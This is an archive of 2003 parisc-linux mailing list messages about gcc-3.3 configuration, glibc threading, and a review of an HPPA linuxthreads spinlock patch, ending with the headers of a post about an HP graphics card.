Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.3 configuration
Date: Wed, 21 May 2003 12:02:44 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <20030521180244.GA26818__10544.3854038187$1416622474$gmane$org@dsl2.external.hp.com>
References: <16074.48509.259405.775905@gargle.gargle.HOWL> <20030521000854.GN31518@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622474 25947 80.91.229.3 (22 Nov 2014 02:14:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:34 +0000 (UTC)
Cc: Matthias Klose <doko@cs.tu-berlin.de>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org,
	debian-gcc@lists.debian.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 21 12:02:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 8CB684829; Wed, 21 May 2003 12:02:44 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030521000854.GN31518@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18540

On Wed, May 21, 2003 at 01:08:54AM +0100, Matthew Wilcox wrote:
> I'm not sure it's my call to make; I can see arguments on both sides.

Having no clue about dwarf vs sjlj (or whatever), I have to trust
*someone* to make the right call. If it's clearly the right direction,
then figure out how to get there without breaking everything and
make use of your "reputation capital".

grant


From - Thu Nov 08 21:27:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc pthreads actual threads?
Date: Thu, 22 May 2003 11:52:54 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <3EC761C200001DBB__3602.80883401192$1416622475$gmane$org@ocpmta7.freegates.net>
References: <20030519163245.GN16608@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622475 25952 80.91.229.3 (22 Nov 2014 02:14:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 22 03:53:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (unknown [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 93F04482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 May 2003 03:53:01 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19ImkZ-0004J5-00; Thu, 22 May 2003 11:52:39 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 22 May 2003 11:52:54 +0200
In-Reply-To: <20030519163245.GN16608@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18541

>On Mon, May 19, 2003 at 06:27:41PM +0200, Joel Soete wrote:
>> But notice  a very strange behaviour:
>> _the pid is not the same for each thread_ ??
>> 
>> Having just a small sunos 5.8 with gcc-3.2.2 (but with native libpthread)
>> the pb does not occurs?
>> 
>> Is it a limit of glibc (in general or in 2.3 only?) for all linux or only
>> hppa?
>
>it's a limit of your understanding ;-)  POSIX specifies both behaviours
>are legitimate.
>
Just for remind and for those who also have this kind of philophical pb :-)).
In fact following test, an ardent discuss born here between high level system
engineer and one of them help me to find this interesting link:
<http://www.onlamp.com/pub/a/onlamp/2002/11/07/linux_threads.html>

    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.3 configuration
Date: Thu, 22 May 2003 10:24:05 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20030522142405.GK21858__38228.8149827675$1416622475$gmane$org@systemhalted>
References: <16074.48509.259405.775905@gargle.gargle.HOWL> <20030521052351.GV548@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622475 25957 80.91.229.3 (22 Nov 2014 02:14:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:35 +0000 (UTC)
Cc: Matthias Klose <doko@cs.tu-berlin.de>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org,
	debian-gcc@lists.debian.org, m68k-build@nocrew.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 22 08:22:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep03-mail.bloor.is.net.cable.rogers.com (fep03-mail.bloor.is.net.cable.rogers.com [66.185.86.73])
	by dsl2.external.hp.com (Postfix) with ESMTP id B5AB7482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 May 2003 08:22:58 -0600 (MDT)
Original-Received: from systemhalted ([24.112.227.174])
          by fep03-mail.bloor.is.net.cable.rogers.com
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20030522142246.NHGD118437.fep03-mail.bloor.is.net.cable.rogers.com@systemhalted>;
          Thu, 22 May 2003 10:22:46 -0400
Content-Disposition: inline
In-Reply-To: <20030521052351.GV548@tausq.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (35% Sync Ratio [====......])
User-Agent: Mutt/1.5.4i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at fep03-mail.bloor.is.net.cable.rogers.com from [24.112.227.174] using ID <patofiero@rogers.com> at Thu, 22 May 2003 10:22:46 -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18542

> Aside from the evilness of doing binNMUs of this magnitude, I doubt a
> "transition" that doesn't change the SONAME will work. As soon as the
> new libstdc++ is installed, every c++ app on the box will instantly
> break. This means if anything happens e.g. to apt during the update, the
> system will get into a very nasty state. I don't think this is worth it.
> 
> If we need to change the SONAME, then there's no binary compatibility
> anyway...
> 
> As willy mentioned in his other email, if other distros want binary
> compatibility, they should follow what Debian is doing (on hppa), since
> Debian was there first :-)

*Plants flag here*

c.



From - Thu Nov 08 21:27:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] HPPA Linuxthreads.
Date: Thu, 22 May 2003 11:09:02 -0400
Lines: 46
Approved: news@gmane.org
Message-ID: <20030522150902.GM21858__48533.0716743649$1416622475$gmane$org@systemhalted>
References: <20030521172929.GB21858@systemhalted> <3ECBBE25.8090302@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622475 25959 80.91.229.3 (22 Nov 2014 02:14:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:35 +0000 (UTC)
Cc: libc-alpha@sources.redhat.com,
	parisc-linux@lists.parisc-linux.org,
	Randolph Chung <tausq@debian.org>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
To: Ulrich Drepper <drepper@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 22 09:07:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep01-mail.bloor.is.net.cable.rogers.com (fep01-mail.bloor.is.net.cable.rogers.com [66.185.86.71])
	by dsl2.external.hp.com (Postfix) with ESMTP id E3A5A482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 May 2003 09:07:55 -0600 (MDT)
Original-Received: from systemhalted ([24.112.227.174])
          by fep01-mail.bloor.is.net.cable.rogers.com
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20030522150745.NADK518358.fep01-mail.bloor.is.net.cable.rogers.com@systemhalted>;
          Thu, 22 May 2003 11:07:45 -0400
Content-Disposition: inline
In-Reply-To: <3ECBBE25.8090302@redhat.com>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (35% Sync Ratio [====......])
User-Agent: Mutt/1.5.4i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at fep01-mail.bloor.is.net.cable.rogers.com from [24.112.227.174] using ID <patofiero@rogers.com> at Thu, 22 May 2003 11:07:45 -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18543

Ulrich,

> The indentation and general style is wrong in many places.

I'll clean this up today and break it into three chunks for even easier
digestion.
 
> >  __pthread_spin_lock (pthread_spinlock_t *lock)
> >  {
> > -  unsigned int val;
> > +	unsigned int *addr = __ldcw_align (lock);
> > +	
> > +	while (__ldcw (addr) == 0)
> > +		while (*addr == 0) ;
> 
> This is plain wrong.  addr at least must be volatile.

__ldcw is volatile.

Are you suggesting that it is prehaps fragile based on gcc's 
choice of optimization?

> And I don't understand why you removed the asm code.  These pieces of
> code are prime candidates for hand-coding.

__ldcw is still assembly only. __ldcw_align is a macro. In truth I
wanted a functioning implementation first, optimization is a close
second. Though a full assembly version would fix gcc from reordering
anything.
 
> > +static inline struct _pthread_descr_struct * __get_cr27(void)
> > +{
> > +	long cr27;
> > +	asm("mfctl %%cr27, %0" : "=r" (cr27) : );
> > +	return (struct _pthread_descr_struct *) cr27;
> > +}
> 
> Not a real problem, but you should get gcc to recognize this reqister
> and perform the loading.

This should get addressed as TLS is implemented for HPPA. I will be
attending gcc-summit in hopes to discuss this with my colleagues.

c.



From - Thu Nov 08 21:27:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] HPPA Linuxthreads.
Date: Thu, 22 May 2003 09:15:52 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20030522151552.GB22338__33135.7245719575$1416622476$gmane$org@dsl2.external.hp.com>
References: <20030521172929.GB21858@systemhalted> <3ECBBE25.8090302@redhat.com> <20030522150902.GM21858@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622476 25961 80.91.229.3 (22 Nov 2014 02:14:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:36 +0000 (UTC)
Cc: Ulrich Drepper <drepper@redhat.com>,
	libc-alpha@sources.redhat.com, parisc-linux@lists.parisc-linux.org,
	Randolph Chung <tausq@debian.org>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 22 09:15:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id A9534482C; Thu, 22 May 2003 09:15:52 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030522150902.GM21858@systemhalted>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18544

On Thu, May 22, 2003 at 11:09:02AM -0400, Carlos O'Donell wrote:
> > > +	while (__ldcw (addr) == 0)
> > > +		while (*addr == 0) ;
> > 
> > This is plain wrong.  addr at least must be volatile.
> 
> __ldcw is volatile.

yes, but *addr can be optimized out of the while loop.

> Are you suggesting that it is prehaps fragile based on gcc's 
> choice of optimization?

That's another issue. OTOH, I doubt gcc will ever mangle this
fairly short chunk of code. Maybe post the gcc asm output and
see if anyone can improve it.

grant


From - Thu Nov 08 21:27:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] HPPA Linuxthreads.
Date: Thu, 22 May 2003 11:53:44 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <200305221553.h4MFrjnW010970__8052.01807893372$1416622476$gmane$org@hiauly1.hia.nrc.ca>
References: <20030522151552.GB22338@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622476 25963 80.91.229.3 (22 Nov 2014 02:14:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:36 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, drepper@redhat.com,
	libc-alpha@sources.redhat.com, parisc-linux@lists.parisc-linux.org,
	tausq@debian.org, dave.anglin@nrc-cnrc.gc.ca
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 22 09:53:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 66D48482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 May 2003 09:53:51 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h4MFrkgL010972;
	Thu, 22 May 2003 11:53:47 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h4MFrjnW010970;
	Thu, 22 May 2003 11:53:45 -0400 (EDT)
In-Reply-To: <20030522151552.GB22338@dsl2.external.hp.com> from "Grant Grundler" at May 22, 2003 09:15:52 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18545

> On Thu, May 22, 2003 at 11:09:02AM -0400, Carlos O'Donell wrote:
> > > > +	while (__ldcw (addr) == 0)
> > > > +		while (*addr == 0) ;
> > > 
> > > This is plain wrong.  addr at least must be volatile.
> > 
> > __ldcw is volatile.
> 
> yes, but *addr can be optimized out of the while loop.

Yes, you are correct.  This is the code from the inner loop:

  1c:   0f 40 10 93     ldw 0(,r26),r19
  20:   86 60 3f f5     cmpib,= 0,r19,20 <__pthread_spin_lock+0x20>
  24:   08 00 02 40     nop

Don't know how I missied that :(

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] HPPA Linuxthreads.
Date: Thu, 22 May 2003 10:23:46 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <20030522162346.GA24335__43551.7763173722$1416622476$gmane$org@dsl2.external.hp.com>
References: <20030522151552.GB22338@dsl2.external.hp.com> <200305221553.h4MFrjnW010970@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622476 25964 80.91.229.3 (22 Nov 2014 02:14:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:36 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, drepper@redhat.com,
	libc-alpha@sources.redhat.com, parisc-linux@lists.parisc-linux.org,
	tausq@debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 22 10:23:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id A8BB9482C; Thu, 22 May 2003 10:23:46 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200305221553.h4MFrjnW010970@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18546

On Thu, May 22, 2003 at 11:53:44AM -0400, John David Anglin wrote:
> Don't know how I missied that :(

If you have a test for this, it's not contending for the lock.
Writing a test for this would probably be a good thing if
there isn't already one. Note there is no fairness and a
test would need to be sensitive to that.

grant


From - Thu Nov 08 21:27:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] HPPA Linuxthreads.
Date: Thu, 22 May 2003 13:04:33 -0400 (EDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <200305221704.h4MH4Xgs011472__49536.9548131295$1416622476$gmane$org@hiauly1.hia.nrc.ca>
References: <20030522162346.GA24335@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622476 25967 80.91.229.3 (22 Nov 2014 02:14:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:36 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, drepper@redhat.com,
	libc-alpha@sources.redhat.com, parisc-linux@lists.parisc-linux.org,
	tausq@debian.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 22 11:04:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 408EA482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 May 2003 11:04:37 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h4MH4XgL011474;
	Thu, 22 May 2003 13:04:34 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h4MH4Xgs011472;
	Thu, 22 May 2003 13:04:33 -0400 (EDT)
In-Reply-To: <20030522162346.GA24335@dsl2.external.hp.com> from "Grant Grundler" at May 22, 2003 10:23:46 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18547

> If you have a test for this, it's not contending for the lock.
> Writing a test for this would probably be a good thing if
> there isn't already one. Note there is no fairness and a
> test would need to be sensitive to that.

Agreed.  The libc suite would probably be the best place for
such a test ;-)

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dave Sasselli <erd0s@afterconnect.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP A7789 Fire GL-UX
Date: Fri, 23 May 2003 10:45:38 +0200
Organization: Afterconnect.com
Lines: 16
Approved: news@gmane.org
Message-ID: <200305231045.38506.erd0s@afterconnect.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622477 25971 80.91.229.3 (22 Nov 2014 02:14:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 23 02:45:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from alpha.afterconnect.com (host122-222.pool8018.interbusiness.it [80.18.222.122])
	by dsl2.external.hp.com (Postfix) with SMTP id E7C74482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 May 2003 02:45:40 -0600 (MDT)
Original-Received: (qmail 28963 invoked from network); 23 May 2003 08:56:56 -0000
Original-Received: from unknown (HELO nausica.saturn.sfk) (192.168.1.10)
  by 192.168.1.1 with SMTP; 23 May 2003 08:56:56 -0000
User-Agent: KMail/1.5.1
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
